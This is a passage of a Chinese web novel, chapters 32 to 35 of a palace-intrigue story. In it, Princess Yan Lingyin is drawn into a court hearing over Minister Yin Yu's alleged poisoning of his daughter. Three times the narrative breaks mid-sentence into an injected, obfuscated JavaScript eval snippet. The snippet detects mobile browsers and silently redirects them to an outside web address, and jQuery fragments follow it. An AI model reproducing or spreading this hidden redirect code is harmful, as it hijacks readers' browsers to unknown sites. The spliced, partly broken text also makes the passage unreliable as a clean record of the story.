崔婉的衣袖上还沾着病人的血,极深的红,像一枚锈蚀的铁片。她垂眸看向那片污渍,眼前出现的却是牢房里吕绍的脸。他的情况很不好,并不像她方才说得那样轻松。她用的那些药,扎的那些针,不像是为了减轻他的痛苦,倒像是将他送进了更多的折磨之中。 她有时也会困惑,自己是不是做了这方牢狱的帮凶。 “没什么好瞒着叔父的。”崔婉摇了摇头。或许是近日琐事太多,她也有些乏累,才会被吕绍的几句质问扰乱了心思。那些不重要的惶惑,不值得说给崔含章听。 她不说真话,崔含章也没有逼她。他熟悉这个侄女的性格,要她敞开心扉并不是容易的事,太过急迫只会适得其反。他和她一道放缓了步子:“那样就好,不过是我闲操心。还有一事要告诉阿婉,我来时听闻,江少卿昨日搜了殷尚书的家宅,还带走了一位老仆。” 崔婉的脚步微顿:“吕主簿不是已经招认了吗?为何还在搜证?” “囚犯虽已认罪,却还未结案,江少卿确实有权继续搜证,可真要细究起来,我也替他捏了把汗。”崔含章侧过脸看她,“许久没问阿婉功课了,不妨就此事考论一番,你可知他这一步险在哪里?” 崔婉凝神片刻,轻声道:“私心。” 他对殷禹的不信任太过明显,偏偏在明面上,殷禹是最不可能加害女儿的人。这让人很难不去怀疑,他江渊然是否在挟私报复。 “不错,”崔含章赞许地微微颔首,“他江恪回难得冲动,近来却有些冒进了。我再问你,不提出身,不提才学,他是凭何当上了大理寺的少卿?” “……凭陛下爱重?” “是,也不是。”崔含章眼中的笑意愈浓,“更凭他敢和江家翻脸,在毫无靠山的情形下入朝为官,用之易,弃之也易。他是个下过狱的文人,年纪又这样轻,却已经官居六品,手中还握有审刑断案的实权。即便他科场得意,是个十八岁便中进士的奇才,即便他三年来的考评记录皆是优异,可这样的升迁速度,未免也太不寻常了些。” 崔婉似在沉思什么,而他无声抬手,驱走了一只欲歇在她发上的斑蛾,这才继续道:“他走的非但是条险路,说得明白些,几乎是条死路。他要做陛下的纯臣,就得摒弃一切私情,更不能踏进党争。可这件事哪有那么容易?不只是他,还有宫中那位公主殿下,外面传她背弃师恩,指认同门,但你知道她曾做过什么?三年前我尚在户部历练,恰好探得些消息,殿下她心窍玲珑,又颇有自信,想要查国库的账呢。” 他对上了崔婉讶然的目光,慢慢把话说完:“阿婉,你这样聪明,定然能看出来,东云台是潭深水,任谁走过都要沾一身湿泥,殷尚书不就是吃了它的亏?你要做什么,叔父不会干涉,但叔父必须提醒你,江少卿,还有那位殿下,都是太过危险的人,最好是保持些距离,莫要亲近。” 眼看着就要行到岔路,他再度抬手,轻揉了一下她的发顶。 “不过你向来有主见,我也放心。若是有什么需要帮忙的,着人说一声便是,叔父都在。” 崔含章走后,崔婉又在原地站了片刻,直到一条柳枝垂下,不偏不倚地扫上了她的鼻尖:“人都走远了,怎么还在发愣?” 她被那点痒意闹回了神,不觉笑道:“你的轻功倒是越发精进了,唬人的功夫也是。” 白行也从梢头轻盈跃下,嘴里还衔着翠绿的柳叶:“那是我不忍心打扰你们相谈,换成朗哥哥,你试试看。” “阿行,”即便知道她在玩笑,崔婉仍正色道,“朗兄不是那样的人。” 白行也扔了柳枝,神色有点懒懒的:“你是没见着我在家的时候,隔壁小孩儿摘了花来送我,我……大哥差点给他轰出去三里地。那一位又是送点心又是献殷勤,朗哥哥要真知道了,啧,我都不敢想。” 崔婉被她逗得笑了一声,但很快,两人都沉默下来。白行也的那声大哥听得她心里酸涩,而小姑娘虽然总一副满不在乎的样子,可若真不在意,又为何偏过头去,避开了她的目光呢。 一阵难耐的静寂过后,白行也忽然出声:“婉姊姊,我接到夏老伯了。” 崔婉心中一凛,郑重道:“阿行,我真不知该如何谢你。” “谢我倒不用,”话题转开后,那种玩世不恭的气度又回到了白行也身上。她理了理额前的碎发,解了发带开始自顾自地编小辫儿,“我要桃源居的乳酿鱼,上仙坊的蜜汁藕,雪苑楼的葱醋鸡……呀,差点忘了说,”她一手灵活地绕着结,一手伸去怀中掏摸,“朗哥哥来信了。” 泾州和宛京之间传讯不易,谢朗不愿走邮驿,既是嫌它太慢,也因他寄来的多是私信,若被官府盘查反倒麻烦。他又信不过寻常禽鸟的体力,因而每回传书,都用那只他亲自喂养的花梨鹰。这种边地的猛禽在京中未免惹人眼目,谢朗便教它先去城郊寻白行也,再由她将信带给崔婉。鹰叫流夜,脾气又狂又傲,正和白行也臭味相投。一人一鸟到处疯玩,不小心惹了事,总是崔婉去给她们兜底。 “这回信里说了什么?”白行也编完最后一根小辫儿,偏过头去看崔婉,“婉姊姊,你怎么……脸色不好?” 满目墨色在纸上流泻,飘如游云惊龙,是崔婉再熟悉不过的潇洒字迹。可她却闭了闭眼,拧着眉重新读了第二遍。 “还要寄些先前的药去,”她喃喃道,“朗兄……受了伤?” * 晏泠音离开时已是第二日。她走前苏觅仍未醒,面上潮红半褪,睡得极沉。季问陶说他这回牵动了旧伤,怕要睡上好些日子,她没有多问,只把那瓶被苏觅拒绝的丸药留下了,连同他赠与的金疮药一起。 阿承看着她欲言又止。 “鬼杀刀,我此前亦曾听闻,却没想到能有拜见的机会。”晏泠音等他收了瓷瓶,这才道,“阿承同这位姑娘既有交情,不知可否帮我引见。” 魏收在旁边没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431914|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一声:“晏主有所不知,这小子还没被打够,就算晏主不去,他自己也要摸过去的。” 阿承幽幽地看了他一眼。他跟他主子一样面皮薄,此时从脖子红到了耳根,嘴上却并不饶人,拖长了声音讽道:“也不知道是谁不、够、格。” 晏泠音已习惯了他们吵嘴,此时听着倒觉心里松快。她看了一整夜的雨,守着那件换下又洗过的外袍沥水,在这小小的居室里生出了令人烦闷的无力感。她受制于人,受制于天,甚至受制于身上这套半干不湿的衣裳。但现在,她仍然要带着那些桎梏往前走,正如她仍然要穿着湿衣回宫一样。 她在极短的一瞬羡慕过那两个人,像隔着深崖朝对岸投去的遥遥一瞥,随后便收了眼,亦收了心。 “走了。”她转过身,没有再往门内看,只淡淡补了一句,“我和你家公子的账还没算完,后会有期。” 回宫的路上没遇到阻碍,晏泠音交了勘合,足下不停。昨日的暴雨将一切都洗得明净,朱墙映着琉璃瓦,亮堂得好似没有半点暗影。她绕着水洼往怡和殿走,正想着该如何同母妃解释,抬头时却在树影间看见了女子清瘦的背影。她跪在殿前,背挺得很直,头却低垂着,双手交叠放在身前,是认罪的姿态。 晏泠音怔了一瞬,随即便疾步走去。在女子听到脚步声回过头前,晏泠音已拂开衣摆,端端正正地跪在了她的身侧。 “殿下?”青荷下意识惊呼出声,跟着立刻掩住了唇,相当紧张地往殿门处扫了一眼,“殿下怎么……现在才回来?” “就当是我贪玩。”晏泠音也跟着她往殿门看,“是母妃罚你的?要跪多久?” “娘娘没说……”青荷说到一半就止了话头,转而催她道,“殿下先起来,跪在这儿,娘娘见了只怕更气。” “你也起来,”晏泠音不依不饶,“犯错的是我,该我去向母妃请罪,罚你是什么道理?青荷姊姊,小时候我闯了那么多祸,母妃也没迁怒过你,她不是不明事理的人,今日这是怎么了?” 她问得急,一来是要堵青荷的话,二来也确实心惊。温敏性子极软,晏泠音从未见她拿旁人出气,更何况这个人还是青荷,是她当年指给女儿的贴身侍女。 难道她出宫的这段时间发生了什么? 晏泠音望着青荷的眼等她回答,她们距离很近,近到她能看清青荷发颤的睫羽。但下一秒,宦官尖细的嗓音却从背后遥遥传来:“公主殿下,圣上有请!” 那一声惊醒了尚在恍惚中的青荷,她忽然拉住了晏泠音的手臂。晏泠音安抚地看了她一眼,反握上她的手,带着她一起站了起来。两人回身时,来传话的李德昌已到近前。 “还请公公容我更衣,稍待片刻。青荷,给公公奉茶。”晏泠音已定了神,说得不急不缓,仿佛方才并未在殿前跪着,“公公,不知父皇唤我所为何事?” 李德昌不过四十上下,却已在御前承了二十年的恩宠,是个平日难得一遇的红人。他生得面皮细白,不动声色地打量了两人一番,嘴角扬着,阴鸷的眼中却没有笑意:“茶便不必了,还请公主尽快,诸位大人可都在雍平殿等着呢。” 33. 蝼蚁 李德昌领她走的是条窄道。雨后潮气重,朝阳还未晒干路旁的野草,他们一前一后走得匆忙,一路踩碎了无数水珠。将要拐上宫道时,李德昌忽然放慢了步子,微侧了脸,朝晏泠音投来意味不明的一瞥。 那一眼太过短暂,几乎让她疑心是自己生了错觉。下一刻,李德昌却已借着转身的势头后退两步,立定在湿漉漉的草丛间。 “奴婢给仪王殿下请安。” 他俯身行礼时,替晏泠音让出了一片视野的空白,没等他叫出那人的名号,晏泠音就已瞧见了,她的五哥晏眆正站在小路尽头,提着把小竹扇,正姿态悠闲地朝这里走来。 这条道太窄,虽是通往后宫的近路,却只能容一人走过。李德昌反应机敏,已第一时间退到了草丛里,而她和晏眆狭路相逢,总要有人主动避让。 这其实是个没有悬念的抉择,但晏泠音还是迟疑了一瞬。她的目光落在晏眆手中的小竹扇上。上好的梅菉竹,极细极匀的竹丝,通体并无雕镂烫刻,显然是要留住那纯出天然的风雅。扇面倒有两列墨字,她看得不真,只隐约望见了尾端的题名。姜原。 若她没有记错,镇守西域的冷将军冷霏覃,自号姜原居士。正是从这个文绉绉的别号起,“儒将”的雅称便传遍了大梁。冷家和崔家的情形正好相反,崔少丹弃诗书而从武,冷霏覃却是出身武将世家,偏有一颗向往文墨的心。 她这一怔,晏眆已行至近前。他先是笑着和李德昌招呼:“公公早。”随后转开视线,意态亲昵地朝晏泠音道:“皇妹也早。这么急着赶路,不知是要去哪儿?” 他眉毛浅,五官的轮廓也柔和,随安贵妃生了张讨人喜欢的圆脸,说话行事都带着闲散王爷的风流气。曾有大臣赞他清雅,说他身在皇家却有林下风致。晏泠音不反驳那个“雅”字,却对“清”字着实怀疑。见过晏眆的人很难忘记他那双眼睛,里面装的东西太多太重,坠得他整个人都往下沉。凭这个,他就做不了长裾广袖的高士。 他们毕竟是兄妹。晏泠音很清楚,生在这样一个“家”里,没人能真正过得轻松脱俗。 “见过皇兄。”晏泠音屈膝行过礼,敛着眉目退去了一旁,雨水立时沾湿了素袜和绣鞋,“父皇叫我去一趟,许是有事告知。” 她的余光还在打量晏眆手里的竹扇,那是把新扇,油亮光洁,并无被盘玩的痕迹。折扇不适宜长途运输,何况还是在这样潮湿闷热的季节。这是个不寻常的讯息,若上面的字确为冷霏覃亲题,那么极有可能,这位冷将军已经回京了。 “如此。”晏眆显得若有所思,“我刚陪父皇用过早膳,他面色平和,想来不是什么大事,皇妹宽心。日后得闲,还望皇妹多来皓如殿坐坐,母妃常念叨你呢。” 晏泠音感觉到身侧李德昌的目光,那是种无声的催促。她笑着应道:“多谢娘娘记挂,还请皇兄代我问娘娘安。” 濡湿的鞋袜已开始发凉,晏泠音在仲夏的暑气里觉到了凉意。冷霏覃回京了,那么不论晏懿心里怎么想,都要对冷家、对与之结亲的安家,客气些,亲近些。晏眆手中的扇子不只彰示着姨父的疼爱,那是牵到他身上的实打实的兵权,即便是晏懿,也不能不估量,不能不忌惮。 在这种情势下和晏懿周旋,于她而言,不是个好的时机。 晏泠音赶到雍平殿时,里面人已齐了。晏懿靠坐在案后翻看奏折,听到动静也没抬眼,只挥了下手,让李德昌把侍立在侧的宦官都带下去,搁了殿门前的帘子。 殿中搁着冰盆,有凉风透过竹帘钻进来,算不上闷热。晏泠音方才走出了汗,在冰盆边跪下时,又被冷气激得一颤。她心里不安,这一颤是有意做给晏懿看的。晏懿知道她膝上有伤,知道她不喜欢雍平殿压抑的格局,他们父女曾经真的彼此交过心,正是因为太熟悉了,此刻才会估量着深浅,步步试探。 当然,更有可能的是她单方面交过心,信过这个宠她爱她的父皇。 “惠和来了。”晏懿终于搁下奏本,扫了一眼面前或立或跪的人,“坐罢。” 晏泠音从交叠的掌上抬了头,额前有汗水滑落。她低声道:“谢父皇。” “江卿,”在她依言落座时,晏懿已转向了肃立殿中的江渊然,“你方才的话,再给公主说一遍。” 晏泠音倚窗而坐,右侧是殷禹,再往右才是江渊然。他没有看她,正如晏泠音也没有看他一样,只上前半步,禀道:“回陛下,臣方才说,吕氏案恐尚有疑点。我朝律法虽不禁刑狱,却对刑讯手段有严格限制,一旦逾越了应有的尺度,所得供词便是一纸空文。吕氏如今重伤至此,足见其在狱中受了何等折磨,这已非讯问,而是逼供!” 他语声清冷,斥人时直如霜雪击面。殷禹耐着性子听他讲完,随即亦上前半步,垂首沉痛道:“陛下,臣是吕绍的岳丈,无权审理此案,但下属滥用私权,确是臣的失职。江少卿所言有理,臣无话可辩,恳请陛下降罚。” 晏懿摩挲着手中的笔杆,沉吟不语。跪在最右侧的吕绍忽然极轻地笑了起来。他的嗓子已然哑了,笑声也不堪入耳,但他却似毫不在意,愈笑愈放肆,到最后,整个雍平殿都回荡着他气弱声嘶的笑音。 “大胆!”李德昌见晏懿没有动作,先出言怒道,“圣上面前,怎可如此失态?” “岳丈?”吕绍没有理会他,只轻声重复着殷禹的话,“你但凡有半点把阿瑾当女儿,都做不出这种猪狗不如的事。” 他语气平静,和气得像在跟人闲话家常,骂起来却半点都不嘴软。东云台本是培养言官的地方,当年杜慎所教所授,就是要他们做梁国的喉舌。若非后来出了意外,他们早该坐进御史台,监看、监听这满是阴诡缝隙的朝堂,把别人不敢看、不敢说的东西,全数揭露出来。 殷禹就是涵养再好,听到这样直白的詈骂,脸上也难免挂不住。晏泠音瞥了他一眼,见那两道浓眉已经竖了起来。他不能在晏懿面前造次,只深深看了眼吕绍,随即收了目光道:“臣不知何处得罪了吕大人,竟招致这样的责问。阿瑾是我亲女,吕大人宦场失意,此前曾多次相求,要臣看在小女的面上出手相助。臣也曾劝过大人踏实行事,莫要想着一步登天,若有真才实学,时候到了,自有出头之日。可谁想,大人却记恨上了臣,更迁怒于无辜的小女。阿瑾出事以来,臣头发都白了大半,陛下亦有儿女绕膝,当知臣心中苦痛,绝非虚言。” 李德昌已退了回去,替晏懿斟满了茶。晏懿抿了一口又放下,朝江渊然道:“江卿,你说此案尚有疑点,不知手上可有证据?” 江渊然今日相当冷静,冷静到晏泠音无端觉得不祥。他始终没有往左右看,只正对着晏懿:“陛下,臣昨日想就此案,再询问尚书一些细节。可到后却发现殷宅内混乱不堪,有打斗的痕迹。殷尚书不肯见臣,臣便依律搜了殷宅,发现了一位锁在院中、衣衫破败的老者,他对臣说了些殷宅的怪事,臣已令他候在殿外,若陛下允许,现在就可以传唤。” “昨日暴雨如注,沿路不能视物,”殷禹在一旁冷笑,“江少卿冒雨前来搜宅,着实尽职尽责,老臣佩服。” 晏懿的视线在江渊然身上停了许久,晏泠音坐在旁侧,攥紧的手心里已全是冷汗。 半晌后,他终于开了口:“让人进来。” “陛……陛下!”那老奴本已被烈日晒得发了昏,此时由人架着入了殿,闻到那幽凉的熏香,一个激灵抬了头,不知哪里来的力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431915|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟从宦官手中挣脱出来,膝行着想要爬到桌案边去,“请陛下替我家小姐做主啊陛下!” 李德昌看着细弱,此时却两步上前,硬生生将人给拦下了。他用眼神示意几个小宦官退下,随后才垂了头,要笑不笑地看着那老奴道:“有话好好说,陛下是圣主,会替你做主的。” 他嗓音尖细,瞳孔黑得几乎不见眼白,手上力气也大得吓人。老奴被他那瘆人的眼神盯视着,只疑青天白日撞了鬼,不敢再动,只声音里仍有哭腔:“小人是老爷的家仆,自小姐出生便跟了小姐。夫人走后,小姐明里暗里受了多少委屈,半点都不肯向老爷说。有一回……” 李德昌手上用力,疼得那老仆闷哼一声,这才冷声开口:“捡重要的说。” “是,是!”那老仆受他钳制,只得昂着头咬牙道,“小人本以为,老爷只是不知道那些事,但凡知道了,必定会护着小姐。可后来发现,老爷他早就厌弃小姐了。小姐出阁前在家中养猫,后来怕亏待它,没带去姑爷家里,留给了小人。老爷几次三番想把它毒死,小人察觉到不对,把它放出了府,才算留了它一命。小姐离府后,老爷也常差小人去送些东西,小人当时还欢喜了一阵,想着老爷总算肯顾惜小姐了,可谁能想到,那些吃食里,藏的全是慢性的毒!” 他的嗓子也粗哑,声音却比吕绍洪亮,这一句如晴天霹雳,震得在场的人多少都变了面色。晏泠音握着座椅的扶手,转眼去看仍跪在地上的吕绍。他的身子轻轻颤抖着,像风中残破的纸。 殷禹脸色青白,不知是因为愕然还是愤怒。他的声音也在抖,很轻,但晏泠音能辨别出来:“胡言乱语!臣为官十数载,虽无甚大的功绩,却也一直兢兢业业,从不敢有半点松懈。在朝在家,皆明己修身,待人待物,只求无愧于陛下,无愧于己心。今日不知是惹恼了哪位大人物,竟要如此栽赃陷害,步步相逼!臣死不足惜,但臣不忍看陛下受奸竖蒙蔽,陛下!臣忠心可鉴日月,还望陛下明判!” 他毕竟老于官场,知道这种说不清道不明的家事,只要他咬死不认,便是再来几个人证也动不了他。晏懿看重的是他为官的本事,不是他治家的手腕。 可他似乎也没有十全的把握,他还在怕,怕老仆说出什么他不想听到的话来。 江渊然也察觉到了殷禹话中的回避。他转身面向匍匐在地的老仆,问他:“那些毒物,你身上可还留有些许?” 老仆沮丧摇头,凄然道:“小人生疑之后,曾找药师帮忙鉴别,可没过两天,药师和那包食物就一起消失了。小人不死心,想趁下回送吃食的时候再藏些下来,老爷却莫名差人将我一顿痛打,此后便把小人关在宅中,再不肯放小人出门。” 殷禹的脸色有片刻和缓,江渊然看了他一眼,又回过头去问那老仆:“你是怎么起的疑心?” 老仆还被李德昌按着后颈,动作艰难,却愣是转过眼珠,恶狠狠地瞪着殷禹道:“我就是知道,我早该想到的!就是从那一天起,老爷他就变了。那一天小姐听到了,我也听到了,老爷关着门,在和一个陌生男子说话,谈什么偶人,什么云台!” 殿中的气氛是骤然改变的。所有人都察觉到了,但却是晏泠音最先意识到,那种异动肇自何处。 是晏懿。他推开面前的茶盏,上半身微微前倾,两手交握着放在案上,眼睛一眨不眨地望着那个老仆。 他的目光很沉,不是打量,也不是端详,只是重似千斤的威压。他将无形的巨山压在老仆佝偻的背上,要他在自己的目光里活活窒息而亡。 出乎意料地,九五之尊的帝王问了身份微贱者一个问题。 他的语气里甚至有一丝好奇:“是谁,教你这么说的?” 34. 权衡 这话是在问谁? 一时殿中静阒无声。晏泠音几乎能听到冰块融化的轻响,像某种活物在幽幽吸气。在场数人里有三人和东云台关系紧密,余下之人各怀心思,这一句他们不能接,只能等。 老仆的神色出现了一瞬茫然。他对上晏懿幽邃的目光,还没开口,身子便抖了起来。他想要挪开眼,可李德昌掐着他的脖颈,不给他低头的机会。满殿的人都在看他,他在极度的晕眩里晃了两晃,下一秒,那双满是恐惧的眼睛里便涌出了泪。 “没有,没有谁教,”他颤声哭道,“全是小人亲耳所闻!小人个子矮,没见着那人的相貌,可小姐是看见了的,她让小人快走,自己却被老爷发现了。她平日待小人那么好,小人不该……” 晏懿靠回了椅背,神色间透出厌烦。李德昌见状,手上力道加重,那老仆便呛了声,只剩呜咽。殿中再度静了下来,就在此时,晏泠音听见了晏懿不带起伏的声音:“惠和,你怎么看?” 她撑住座椅的扶手,慢慢站起。方才盯着老者的视线移到了她的身上,其中一道来自年轻的大理寺少卿。这是自她入殿以来,江渊然第一次认真看她。 但恐怕,她要让他失望了。 晏泠音垂着眼:“儿臣惶恐,不敢擅言朝事。” “无妨。”晏懿难得笑了一声,“朕听闻当年东云台清谈时政,一位闻郎,一位江郎,但凡开口,定压得举座噤声。今日你同江卿都在,朕也想多听些真话,免得言官总说朕独断。” 她无声攥紧了手:“是。” ……哪还有什么闻郎。 晏懿说得太过轻易,好像三年前根本没发生那场血案。东云台未散,执教者未死,君臣鱼水,父女情深。 又或者那对他本就不算什么,殉的不是他的师长,诛的亦非他的家人。他不过扑灭了一丛不安分的火,换得了三年朝堂稳固。现在他还要继续下去,今日殿中诸人,必有谁会被他牺牲。 “儿臣听老伯方才所言,似在指控尚书和东云台余党往来,被殷小姐撞见,这才动了杀心,不知是也不是?” 余党二字一出,江渊然和吕绍的目光就都变了,尤其是吕绍。他本就在强撑精神,此时陡然睁大了眼,眸中有惊讶,更有鄙薄。 便是殷禹也怔了一下,偏晏泠音还转过头问他:“尚书可认?” “欲加之罪罢了。”他强硬道,“臣不认识什么东云台余党,更从没接触过偶术。” 晏泠音点头道:“此事重大,确实不能只听老伯一面之辞,既然是老伯和殷小姐一同撞见的,不妨请殷小姐来当堂作证。” “小女受奸人陷害,尚昏迷未醒,”殷禹隐约听出了什么,转而怒视右侧跪坐的吕绍,“只怕暂时不能为证。” “同尚书对谈的那位‘余党’呢?”晏泠音轻声道,“江少卿昨日搜过殷宅,是否已扣下此人?” 她和江渊然的目光无声相接,他在问,而她不能答。他的瞳孔里浮着浅色的光,像未敢炽灼又不愿熄灭的火,执拗地守在淫雨连绵的草野中。 “昨日是臣失职,”他默了片刻,“并没找到那人。” 晏泠音先移开了视线:“既如此,就不能……” “陛下!”一直跪着的吕绍忽然哑声开口,打断了晏泠音,“虽然人证还未寻到,但殷氏确曾和术师往来。他诬我勾结弦歌楼的艺伎,正是为了遮掩他自己!前日审案,那女子已尽数招认,臣请陛下传唤,亲为鞫问,真相自明。” 吕绍手脚都戴了锁链,随着他的动作击撞出清脆声响。他仰脸看着晏懿,额角耳畔尚有未愈的血痕:“臣在严刑逼讯下不得已而认罪,留着这口气,只为见到陛下。方狱自先帝设立以来,都直隶于天家,象征陛下的公正声名,不该是他殷家的私狱!弦歌楼由大理寺关押审讯,所有女子皆未受重刑,若她们也指认殷氏,其罪昭着,已不容置疑。” 他和弦歌楼众女分开拘押,却对审判如此了解,晏泠音的心跳骤然加快。她感觉到晏懿的目光在殿中扫着,半晌,他抬手拨了下茶盏:“术师是谁?带上来。” 李德昌出门叫人,回来时身后跟了个纤弱女子。她深埋着头,跪下行礼时,抖得几乎伏不稳地面。 “叫什么名字?”晏懿阻止了李德昌给他换茶,直截道,“一五一十地说。” “奴叫桑柘,”女子的声音细若蚊呐,像是下一秒就要转作哭腔,“是跟了阿翁逃难来京的。早先阿娘还在的时候,教过奴一些术法,奴后来才知那不是什么好东西,自然不敢用,更不敢示人。再后来奴被阿翁发卖,学了舞艺,本已忘了那些事。可有一日,殷大人忽然找上了奴……” 殷禹早听得额间青筋暴起,此时终于忍耐不住,喝道:“贱婢!我好吃好喝地供着你,还要替你赎身,你倒来反咬一口!如此歹毒的心肠,你主子许了你什么,要你这么卖力泼我污水?” 桑柘抬了头,泪眼盈盈:“大人待奴是好,可大人要奴陷害姊妹,奴下不了手。那东西姊姊从来没碰过,更不可能用它害人。奴帮了大人一次,已是悔恨万分,自觉对不起殷小姐。都是奴的错,与大人无关,奴来生再报大人的恩情。” 这一下噎住了殷禹,他微张了口呆立片刻,眼中郁色越积越浓,忽然扑通一声在案前跪下,惨然道:“是诬陷!陛下,她定是受人指使,不然怎么敢空口白舌地诬陷臣?欺君之罪可诛九族!臣请彻查,请陛下还臣一个清白身!” 殿中的人已哭倒了两个,此时殷禹也说得气性上来,老泪纵横:“昨日家宅无故被搜,臣哪敢有半句抱怨?可搜出了什么?人证没有,物证没有,就凭这两人的几句话,就要定臣死罪!江少卿,你满口公理律法,我今日倒要请教,这循的是哪条理,尊的是哪条法?” 他如今已彻底明白过来,这就是专门挖给他的一口坑,旁边的人早串通好了,只求当庭翻供,咬他个措手不及。他此前没给桑柘送过东西,平日对后宅也管得严,殷家别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431916|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是偶人了,连根扎人的针都不肯留,就是怕落人把柄。可千防万防,防不住女子滚着火往他身上贴,是他委实运气背,找错了人! 殷禹越想越恨,面色却愈发哀戚,字字句句只是冲着搜宅的江渊然:“两日前江侍郎寿辰,听闻江少卿已许久未曾归家,这回却特地备了礼亲自送去。子之爱父,亦同父之爱子,少卿明明通晓此理,却是怀了什么心,定要诬我谋害亲女?” 江渊然替父贺寿,此事晏泠音并不知晓,晏懿似也是今日初闻。他眸光很深,摩挲着杯盏,一时没有开口。 晏泠音身上却已起了寒。 仪王一党和太后一党势同水火,在前朝后宫都斗得不可开交。太后手里只有个痴傻的皇孙晏憺,不能指望他争位夺权,本就注定要输,可这么些年来,崔氏却始终屹立未倒,前年殷禹受贿被参,也只不痛不痒地罚了薪俸,就此揭过,原因何在? 在晏眆。闲王的名号只能哄哄旁人,骗不过他的生身父亲。晏懿要压着他,不让他太过得意,忘了臣子的本分。 晏泠音明白,今日之事一旦归于党争,殷禹就倒不了,反而是江渊然会有口莫辩。她太熟悉她的父皇了,以利诱,以威逼,他总能找到合适的替罪者,冠冕堂皇地摆给天下看。江渊然昨日那一闹,这件事已不能草草了结,原本要推倒在殷禹身上的山石,被帝王的疑心拦下,又要往反方向倾塌。巨石的阴影已经投照下来,砸落,只是顷刻间的事。 可它不能砸上晏眆,毕竟今日的他,身边还站着刚刚回京的辅国大将冷霏覃。 “父皇,”晏泠音在一片寂静中轻声开口,“儿臣倒想起件事来。” 她的后背渗出冷汗,神情却是一惯的温和谦顺。 “哦?”晏懿抬眼看她,“何事?” 她怎么会迟钝至此,难道是对所谓的父爱还存了一丝期待?晏懿的目光里没有半点温情,甚至没有一丝不舍和犹豫。他挑着这个时辰,叫来她这个女儿,就是要她接下那块巨石,和这殿中以身殉道的几人一起,变作权力倾轧下腐烂的肉泥。 可她依旧不明白,晏懿怎会这样轻易地放弃谢家?她分明还有用,不应该…… 晏泠音在电光石火间,记起了她上回跪在雍平殿的情形。 他知道她想保谁,也知道她不会甘心去死。他眼中的女儿有些不入流的小聪明,又天生就有拔刀向自己的狠心。 他不是在威逼利诱,他是拿她最重要的事在提醒她,这个案子里还有一件她能做的事,且只有她能做。 等她权衡过后,就知道该说什么了。 “儿臣想起,传说有一种秘法可以验明术师身份,但只对女子有效。桑柘姑娘既然声称自己习过偶术,不妨用此法一试。” 晏泠音的声音很柔。她从另一个人那里学到了这种语气,带着无可掩饰的软弱和绝望,示好、求和,再像拔去利齿的乳虎一样敛去锋芒,俯首听命。 “儿臣,愿替父皇分忧。” 35. 歧羊 晏泠音走得很快。这一次换成李德昌跟在她身后,两人之间隔着惊疑不定的桑柘。她能听见桑柘微乱的呼吸,也能听到李德昌迅疾却毫不迫促的脚步声。不能总让他跟着,她想,有些话得单独和桑柘说。 “公公留步。”行过半条长廊,晏泠音转身对李德昌道,“前面就到了,那儿只有女子能进,还望公公体谅。” 李德昌似笑非笑:“三年前我亦曾送殿下进去,想来并不妨碍。” “可出来后,公公不是大病了一场吗。”晏泠音已缓下步子,诚恳道,“公公的侄儿今年要赴秋闱,神鬼之事宁信其有,不信其无。在这种时候,还是谨慎些的好。” 梁国敬神鬼,李德昌跟着晏懿久了,也知道那地方有多古怪。他僵木般的表情有一瞬松动,慢慢停了步,递过钥匙,又抬手撑靠在旁边的廊柱上:“奴婢在这儿候着,殿下快去快回。” 晏泠音瞥了眼那条手臂,它看着细弱,却轻易制服了干粗活的老仆。她朝他微微颔首:“有劳公公。” 桑柘仍有些畏缩。她那双小鹿般的眼中已没了泪,只剩湿漉漉的无措和茫然。晏泠音引她走到长廊尽头,左侧是一片苍翠的竹,右侧是两扇紧闭的红木门,上面有把铜锁,积了厚厚一层尘灰,显然已许久没被打开了。 风过竹叶,簌簌如漫天私语。它们比三年前粗壮了些,依旧清秀挺拔,是宫中难得的幽绝景致。可晏泠音怕竹,她站在竹影里,伸手握上铜锁时,手是抖的。 “你不要怕。”晏泠音开了锁,却没急着把门推开,竹声盖过了她的说话声,只有桑柘能听见,“你要在里面待三天三夜,会饿,会困,但不会有生命危险。等时候到了,我会来接你。” 桑柘显然没有明白,眨了两下眼睛:“不是说要验我的身份?为何要把我关起来?” “听着荒唐,但此法确实是古书所载。”晏泠音偏过头,阳光打在她的侧脸上,灼得她微觉疼痛,“屋里遍地是混着血的纸灰,杂着偶人残破的四肢,还有些死去多年的术师的骸骨。可那都不会真的伤到你,只要你胆子大些,出来的时候没有疯,没有病,你就是……正常的人。” 